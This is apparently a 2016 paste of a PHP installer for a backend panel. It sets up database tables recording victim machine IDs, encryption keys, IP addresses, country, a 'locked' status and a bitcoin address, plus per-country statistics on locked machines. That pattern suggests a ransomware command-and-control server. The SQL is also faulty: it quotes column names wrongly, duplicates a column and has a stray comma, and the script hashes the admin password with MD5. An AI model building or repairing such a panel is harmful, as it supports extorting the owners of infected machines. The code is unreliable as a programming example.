· 10 years ago · Mar 23, 2016, 01:42 AM
1<!-- //backend installer maza -->
2<?php
3if (is_readable('config.php'))
4{
5 echo "config.php already exists delete it first!";
6 exit();
7}
8
9if (isset($_POST['install']))
10{
11 $dbUser = $_POST['user'];
12 $dbPass = $_POST['pass'];
13 $dbHost = $_POST['host'];
14 $dbName = $_POST['name'];
15 $user = $_POST['admin_login'];
16 $md5pass = md5($_POST['admin_pass']);
17 if(empty($dbUser) || empty($dbPass) || empty($dbHost) || empty($dbName) || empty($user) || empty($md5pass))
18 {
19 $success = false;
20 }
21 else
22 {
23 define('MYSQL_HOST', $dbHost);
24 define('MYSQL_LOGIN', $dbUser);
25 define('MYSQL_PASSWORD', $dbPass);
26 define('MYSQL_DB', $dbName);
27
28 define('USER', $user);
29 define('PASS', $md5pass);
30
31 define('MYSQL_DEBUG', true);
32 define('TIME_DEBUG', true);
33
34 CreateDatabase();
35 CreateConfigFile();
36
37 $success = true;
38
39 }
40}
41
42function CreateDatabase()
43{
44
45 Db_Mysql::init(MYSQL_HOST, MYSQL_LOGIN, MYSQL_PASSWORD, MYSQL_DB);
46
47 $db = Db_Mysql::getInstance();
48 $db -> query('SET NAMES "utf8" COLLATE "utf8_unicode_ci";');
49 $db -> debug = 0;
50
51 //--------------------------------------------------------------------------------------------------------
52
53 $db -> query('DROP TABLE IF EXISTS `users`;');
54 if (!$db -> query
55 ("
56 CREATE TABLE IF NOT EXISTS `users` (
57 `machineId` int(11) unsigned NOT NULL AUTO_INCREMENT,
58 `encKey` char(256) NOT NULL,
59 `userIp` bigint(20) NOT NULL,
60 'firstcontact' DATE NOT NULL,
61 'locked' enum('yes','no') NOT NULL default 'yes',
62 'userCountry' char(30) NOT NULL,
63 `btcAdress` char(35) unsigned NOT NULL,
64 ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;
65 "))
66 {
67 exit;
68 }
69
70
71 //--------------------------------------------------------------------------------------------------------
72
73 $db -> query('DROP TABLE IF EXISTS `stats`;');
74 if (!$db -> query
75 ("
76 CREATE TABLE IF NOT EXISTS `stats` (
77 `statLocked` char(30) NOT NULL,
78 `statCountry` varchar(10) NOT NULL default '',
79 `statLocked` int(11) NOT NULL,
80 `statUsers` int(11) DEFAULT NULL,
81 KEY `statIndex` (`statCountry`, `statLocked`, `statUsers`)
82 ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;
83 "))
84 {
85 exit;
86 }
87
88 //--------------------------------------------------------------------------------------------------------
89
90
91 $db -> close();
92}
93?>